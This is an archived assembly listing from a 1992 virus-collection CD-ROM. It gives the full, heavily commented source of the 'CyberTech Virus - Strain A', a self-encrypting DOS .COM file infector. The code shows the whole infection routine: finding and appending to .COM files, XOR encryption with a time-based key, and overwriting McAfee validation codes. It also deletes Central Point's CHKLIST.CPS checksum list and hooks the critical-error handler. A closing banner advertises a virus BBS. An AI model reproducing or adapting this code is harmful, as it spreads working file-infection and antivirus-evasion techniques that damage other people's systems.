home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CYBERTCH.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  20KB  |  428 lines

  1. ;
  2. ;  CyberTech Virus - Strain A                           John Tardy (C) 1992
  3. ;
  4. ;  Written in A86 V3.22
  5. ;
  6. ;  Description : This is a Non-Resident Self-Encrypting .COM file infector
  7. ;                which infects COM files in the current directory. It will
  8. ;                remove CHKLIST.CPS from the current directory after it has
  9. ;                infected a program. CHKLIST.CPS is a file which is used by
  10. ;                VDEFEND of PCSHELL and Central Point AntiVirus. When a
  11. ;                validation code is added by SCAN of McAfee, it will overwrite
  12. ;                the code, so the file is no longer CRC protected anymore.
  13. ;                After 1992, the virus activated. It then displays a message
  14. ;                that your system has been infected. The virus will remove
  15. ;                itself from the infected file and completely restore it. If
  16. ;                a validation code was added, it is lost, but the file is not
  17. ;                corrupted and will function normally. Even when the file is
  18. ;                compressed afterwards by an executable file compressor, it is
  19. ;                uncompressed. Before 1993, the virus sometimes display it's
  20. ;                copyright. This is caused when the random encryption counter
  21. ;                is a 0. It will redefine it, so there is no visible text in
  22. ;                the virus. It checks also if there is enough diskspace
  23. ;                aveable and installs a critical error handler.
  24. ;
  25.             Org 0h                              ; Generate .BIN file
  26.  
  27. Start:      Jmp MainVir                         ; Jump to decryptor code at EOF
  28.  
  29.             Db '*'                              ; Virus signature (very short)
  30.  
  31. ;
  32. ; Decryptor procedure
  33. ;
  34.  
  35. MainVir:    Call On1                            ; Push offset on stack
  36.  
  37. On1:        Pop BP                              ; Calculate virus offset
  38.             Sub BP,Offset MainVir+3             ;
  39.  
  40.             Push Ax                             ; Save possible error code
  41.  
  42.             Lea Si,Crypt[BP]                    ; Decrypt the virus with a
  43.             Mov Di,Si                           ; very simple exclusive or
  44.             Mov Cx,CryptLen                     ; function.
  45. Decrypt:    Lodsb                               ;
  46.             Xor Al,0                            ;
  47.             Stosb                               ;
  48.             Loop Decrypt                        ;
  49.  
  50. DecrLen     Equ $-MainVir                       ; Length of the decryptor
  51.  
  52. ;
  53. ; Main initialization procedure
  54. ;
  55.  
  56. Crypt:      Mov Ax,Cs:OrgPrg[BP]                ; Store begin of host at
  57.             Mov Bx,Cs:OrgPrg[BP]+2              ; cs:100h (begin of com)
  58.             Mov Cs:Start+100h,Ax                ;
  59.             Mov Cs:Start[2]+100h,Bx             ;
  60.  
  61.             Xor Ax,Ax                           ; Get original interrupt 24
  62.             Push Ax                             ; (critical error handler)
  63.             Pop Ds                              ;
  64.             Mov Bx,Ds:[4*24h]                   ;
  65.             Mov Es,Ds:[4*24h]+4                 ;
  66.  
  67.             Mov Word Ptr Cs:OldInt24[Bp],Bx     ; And store it on a save place
  68.             Mov Word Ptr Cs:OldInt24+2[Bp],Es   ;
  69.  
  70.             Lea Bx,NewInt24[Bp]                 ; Install own critical error
  71.             Push Cs                             ; handler to avoid messages
  72.             Pop Es                              ; when a disk is write
  73.             Mov Word Ptr Ds:[4*24h],Bx          ; protected and such things
  74.             Mov Word Ptr Ds:[4*24h]+2,Es        ;
  75.             Push Cs                             ;
  76.             Pop Ds                              ;
  77.  
  78.             Mov Ah,30h                          ; Check if DOS version is
  79.             Int 21h                             ; 3.0 or above for correct
  80.             Cmp Al,3                            ; interrupt use
  81.             Jae On2                             ;
  82.             Jmp Ready                           ;
  83.  
  84. On2:        Mov Ax,3600h                        ; Check if enough disk space
  85.             Xor Dx,Dx                           ; is aveable for infecting
  86.             Int 21h                             ; (3 clusters should be
  87.             Cmp Bx,3                            ; enough i think)
  88.             Ja  TestDate                        ;
  89.             Jmp Ready                           ;
  90.  
  91. TestDate:   Mov Ah,2ah                          ; Check if 1992 is past time
  92.             Int 21h                             ; already
  93.             Cmp Cx,1993                         ;
  94.             Jae Clean                           ; - 1993 or more
  95.             Jmp NoClean                         ; - Not 1993 or more
  96.  
  97. ;
  98. ; Main Cleanup procedure
  99. ;
  100.  
  101. Clean:      Push Cs                             ; Show message that the
  102.             Pop Ds                              ; system has been infected
  103.             Mov Ah,9                            ;
  104.             Lea Dx,Removed[Bp]                  ;
  105.             Int 21h                             ;
  106.  
  107.             Mov Ah,1ah                          ; Move DTA to a safe place
  108.             Mov Dx,0fd00h                       ;
  109.             Int 21h                             ;
  110.  
  111.             Mov Ax,Cs:[2ch]                     ; Find the name of the
  112.             Mov Ds,Ax                           ; program that is now
  113.             Mov Si,0                            ; executed (me must search in
  114.             Mov Cx,4000h                        ; the DOS environment for
  115. Seeker:     Lodsb                               ; safe tracking of the name
  116.             Cmp Al,1                            ;
  117.             Je On3                              ;
  118.             Loop Seeker                         ;
  119.  
  120. On3:        Inc Si                              ; Transfer the found name
  121.             Push Cs                             ; to a safe address in memory
  122.             Pop Es                              ;
  123.             Mov Di,0fd80h                       ;
  124.             Mov Cx,80h                          ;
  125. Trans:      Lodsb                               ;
  126.             Cmp Al,0h                           ;
  127.             Jne Verder                          ;
  128.             Xor Ax,Ax                           ;
  129. Verder:     Stosb                               ;
  130.             Loop Trans                          ;
  131.  
  132.             Push Cs                             ; Read file attributes and
  133.             Pop Ds                              ; check if an error has
  134.             Mov Ax,4300h                        ; occured
  135.             Mov Dx,0fd80h                       ;
  136.             Int 21h                             ;
  137.             Jnc DeInfect                        ; - No error, DeInfect
  138.             Jmp Ready                           ; - Error, Ready
  139.  
  140. DeInfect:   Push Cx                             ; Store old file attributes
  141.  
  142.             Mov Ax,4301h                        ; Clear file attributes
  143.             Xor Cx,Cx                           ; (for read only etc.)
  144.             Int 21h                             ;
  145.  
  146.             Mov Ax,3d02h                        ; Open the file
  147.             Int 21h                             ;
  148.  
  149.             Mov Bx,Ax                           ; Read file date/time stamp
  150.             Mov Ax,5700h                        ; and store it on the stack
  151.             Int 21h                             ; for later use
  152.             Push Cx                             ;
  153.             Push Dx                             ;
  154.  
  155.             Mov Ah,3eh                          ; Close file
  156.             Int 21h                             ;
  157.  
  158.             Mov Dx,0fd80h                       ; Create a new file with the
  159.             Xor Cx,Cx                           ; same name
  160.             Mov Ah,3ch                          ;
  161.             Int 21h                             ;
  162.  
  163.             Mov Bx,Ax                           ; store file handle in BX
  164.  
  165.             Mov Ah,40h                          ; write memory image of host
  166.             Mov Dx,100h                         ; program to file (the original
  167.             Mov Cx,Bp                           ; file is now back again)
  168.             Sub Cx,0fch                         ;
  169.             Int 21h                             ;
  170.  
  171.             Pop Dx                              ; restore file date/time
  172.             Pop Cx                              ; stamp
  173.             Mov Ax,5701h                        ;
  174.             Int 21h                             ;
  175.  
  176.             Mov Ah,3eh                          ; close file
  177.             Int 21h                             ;
  178.  
  179.             Pop Cx                              ; restore file attributes
  180.             Mov Ax,4301h                        ;
  181.             Mov Dx,0fd80h                       ;
  182.             Int 21h                             ;
  183.  
  184.             Push Cs                             ; jump to ready routine
  185.             Pop Ds                              ; (shutdown of the virus)
  186.             Jmp Ready                           ;
  187.  
  188. ;
  189. ; Main viral part
  190. ;
  191.  
  192. NoClean:    Mov Ah,1ah                          ; Store DTA at safe place
  193.             Mov Dx,0fd00h                       ;
  194.             Int 21h                             ;
  195.  
  196.             Mov Ah,4eh                          ; FindFirsFile Function
  197.  
  198. Search:     Lea Dx,FileSpec[BP]                 ; Search for filespec given
  199.             Xor Cx,Cx                           ; in FileSpec adress
  200.             Int 21h                             ;
  201.             Jnc Found                           ; Found - Found
  202.             Jmp Ready                           ; Not Found - Ready
  203.  
  204. Found:      Mov Ax,4300h                        ; Get file attributes and
  205.             Mov Dx,0fd1eh                       ; store them on the stack
  206.             Int 21h                             ;
  207.             Push Cx                             ;
  208.  
  209.             Mov Ax,4301h                        ; clear file attributes
  210.             Xor Cx,Cx                           ;
  211.             Int 21h                             ;
  212.  
  213.             Mov Ax,3d02h                        ; open file with read/write
  214.             Int 21h                             ; access
  215.  
  216.             Mov Bx,5700h                        ; save file date/time stamp
  217.             Xchg Ax,Bx                          ; on the stack
  218.             Int 21h                             ;
  219.             Push Cx                             ;
  220.             Push Dx                             ;
  221.  
  222.             Mov Ah,3fh                          ; read the first 4 bytes of
  223.             Lea Dx,OrgPrg[BP]                   ; the program onto OrgPrg
  224.             Mov Cx,4                            ;
  225.             Int 21h                             ;
  226.  
  227.             Mov Ax,Cs:[OrgPrg][BP]              ; Check if renamed exe-file
  228.             Cmp Ax,'ZM'                         ;
  229.             Je ExeFile                          ;
  230.  
  231.             Cmp Ax,'MZ'                         ; Check if renamed weird exe-
  232.             Je ExeFile                          ; file
  233.  
  234.             Mov Ah,Cs:[OrgPrg+3][BP]            ; Check if already infected
  235.             Cmp Ah,'*'                          ;
  236.             Jne Infect                          ;
  237.  
  238. ExeFile:    Call Close                          ; If one of the checks is yes,
  239.             Mov Ah,4fh                          ; close file and search next
  240.             Jmp Search                          ; file
  241.  
  242. FSeek:      Xor Cx,Cx                           ; subroutine to jump to end
  243.             Xor Dx,Dx                           ; or begin of file
  244.             Int 21h                             ;
  245.             Ret                                 ;
  246.  
  247. Infect:     Mov Ax,4202h                        ; jump to EOF
  248.             Call FSeek                          ;
  249.  
  250.             Cmp Ax,0f900                        ; Check if file too large
  251.             Jae ExeFile                         ; if yes, goto exefile
  252.  
  253.             Cmp Ax,10                           ; Check if file too short
  254.             Jbe ExeFile                         ; if yes, goto exefile
  255.  
  256.             Mov Cx,Dx                           ; calculate pointer to offset
  257.             Mov Dx,Ax                           ; EOF-52 (for McAfee validation
  258.             Sub Dx,52                           ; codes)
  259.  
  260.             Mov Si,Cx                           ; move file pointer to the
  261.             Mov Di,Dx                           ; calculated address
  262.             Mov Ax,4200h                        ;
  263.             Int 21h                             ;
  264.  
  265.             Mov Ah,3fh                          ; read the last 52 bytes
  266.             Mov Dx,0fb00h                       ; of the file
  267.             Mov Cx,52                           ;
  268.             Int 21h                             ;
  269.  
  270.             Cmp Ds:0Fb00h,0fdf0h                ; check if protected with the
  271.             Jne Check2                          ; AG option
  272.             Cmp Ds:0fb02h,0aac5h                ;
  273.             Jne Check2                          ;
  274.  
  275.             Mov Ax,4200h                        ; yes - let virus overwrite
  276.             Mov Cx,Si                           ; the code with itself, so
  277.             Mov Dx,Di                           ; the file has no validation
  278.             Int 21h                             ; code
  279.             Jmp CalcVirus                       ;
  280.  
  281. Check2:     Cmp Ds:0Fb00h+42,0fdf0h             ; check if protected with the
  282.             Jne Eof                             ; AV option
  283.             Cmp Ds:0Fb02h+42,0aac5h             ;
  284.             Jne Eof                             ;
  285.  
  286.             Mov Ax,4200h                        ; yes - let virus overwrite
  287.             Mov Cx,Si                           ; the code with itself, so
  288.             Mov Dx,Di                           ; the file has no validation
  289.             Add Dx,42                           ; code
  290.             Int 21h                             ;
  291.             Jmp CalcVirus                       ;
  292.  
  293. Eof:        Mov Ax,4202h                        ; not AG or AV - jump to
  294.             Call Fseek                          ; EOF
  295.  
  296. CalcVirus:  Sub Ax,3                            ; calculate the jump for the
  297.             Mov Cs:CallPtr[BP]+1,Ax             ; virus start
  298.  
  299. GetCrypt:   Mov Ah,2ch                          ; get 100s seconds for the
  300.             Int 21h                             ; encryption value.
  301.             Cmp Dl,0                            ; if not zero, goto NoZero
  302.             Jne NoZero                          ;
  303.  
  304.             Mov Ah,9                            ; If zero, display copyright
  305.             Lea Dx,Msg[Bp]                      ; message and generate again
  306.             Int 21h                             ; a number
  307.             Jmp GetCrypt                        ;
  308.  
  309. NoZero:     Mov Cs:Decrypt+2[BP],Dl             ; Store key into decryptor
  310.  
  311.             Lea Si,MainVir[BP]                  ; Move changed decryptor to
  312.             Mov Di,0fb00h                       ; a safe place in memory
  313.             Mov Cx,DecrLen                      ;
  314.             Rep Movsb                           ;
  315.  
  316.             Lea Si,Crypt[BP]                    ; Encrypt the virus and merge
  317.             Mov Cx,CryptLen                     ; it to the changed decryptor
  318. Encrypt:    Lodsb                               ; code
  319.             Xor Al,Dl                           ;
  320.             Stosb                               ;
  321.             Loop Encrypt                        ;
  322.  
  323.             Mov Ah,40h                          ; append virus at EOF or over
  324.             Lea Dx,0fb00h                       ; the validation code of
  325.             Mov Cx,VirLen                       ; McAfee
  326.             Int 21h                             ;
  327.  
  328.             Mov Ax,4200h                        ; Jump to BOF
  329.             Call FSeek                          ;
  330.  
  331.             Mov Ah,40h                          ; Write Jump at BOF
  332.             Lea Dx,CallPtr[BP]                  ;
  333.             Mov Cx,4                            ;
  334.             Int 21h                             ;
  335.  
  336.             Call Close                          ; Jump to Close routine
  337.  
  338. Ready:      Mov Ah,1ah                          ; Restore DTA to normal
  339.             Mov Dx,80h                          ; offset
  340.             Int 21h                             ;
  341.  
  342.             Mov Ax,Cs:OldInt24[Bp]              ; remove critical error
  343.             Mov Dx,Cs:OldInt24+2[Bp]            ; handler and store the
  344.             Xor Bx,Bx                           ; original handler at the
  345.             Push Bx                             ; interrupt table
  346.             Pop Ds                              ;
  347.             Mov Ds:[4*24h],Dx                   ;
  348.             Mov Ds:[4*24h]+2,Ax                 ;
  349.             Push Cs                             ;
  350.             Pop Ds                              ;
  351.  
  352.             Pop Ax                              ; restore possible error code
  353.  
  354.             Mov Bx,100h                         ; nice way to jump to the
  355.             Push Cs                             ; begin of the original host
  356.             Push Bx                             ; code
  357.             Retf                                ;
  358.  
  359. Close:      Pop Si                              ; why???
  360.  
  361.             Pop Dx                              ; restore file date/time
  362.             Pop Cx                              ; stamp
  363.             Mov Ax,5701h                        ;
  364.             Int 21h                             ;
  365.  
  366.             Mov Ah,3eh                          ; close file
  367.             Int 21h                             ;
  368.  
  369.             Mov Ax,4301h                        ; restore file attributes
  370.             Pop Cx                              ;
  371.             Mov Dx,0fd1eh                       ;
  372.             Int 21h                             ;
  373.  
  374.             Mov Ah,41h                          ; delete CHKLIST.CPS (the
  375.             Lea Dx,CpsName[BP]                  ; Central Point CRC list)
  376.             Int 21h                             ;
  377.  
  378.             Push Si                             ; why???
  379.             Ret
  380.  
  381. ;
  382. ; Message when we are in 1993
  383. ;
  384.  
  385. Removed     Db 13,10,'The previous year you have been infected by a virus'
  386.             Db 13,10,'without knowing or removing it. To be gentle to you'
  387.             Db 13,10,'I decided to remove myself from your system. I suggest'
  388.             Db 13,10,'you better buy ViruScan of McAfee to ensure yourself'
  389.             Db 13,10,'complete security of your precious data. Next time you'
  390.             Db 13,10,'could be infected with a malevolent virus.'
  391.             Db 13,10,10,'May I say goodbye to you for now....',13,10
  392.  
  393. ;
  394. ; Message when encryption byte = 0 or when we are living in 1993
  395. ;
  396.  
  397. Msg         Db 13,10,'CyberTech Virus - Strain A'
  398.             Db 13,10,'(C) 1992 John Tardy of Trident'
  399.             Db 13,10,'$'
  400.  
  401. ;
  402. ; New critical error handler
  403. ;
  404.  
  405. NewInt24:   Mov Al,3                            ; supress any critical error
  406.             Iret                                ; messages
  407.  
  408. CpsName     Db 'chklist.cps',0                  ; name for CP CRC-list
  409.  
  410. OldInt24    Dd 0                                ; storage place for old int 24
  411.  
  412. CallPtr     Db 0e9h,0,0                         ; jump to place at BOF
  413.  
  414. FileSpec    Db '*.COM',0                        ; filespec and infection marker
  415.  
  416. OrgPrg:     Int 20h                             ; original program
  417.             Db 'JT'                             ;
  418.  
  419. CryptLen    Equ $-Crypt                         ; encrypted part length
  420.  
  421. VirLen      Equ $-MainVir                       ; total virus length
  422.  
  423.  
  424. ;  ─────────────────────────────────────────────────────────────────────────
  425. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  426. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  427. ;  ─────────────────────────────────────────────────────────────────────────
  428.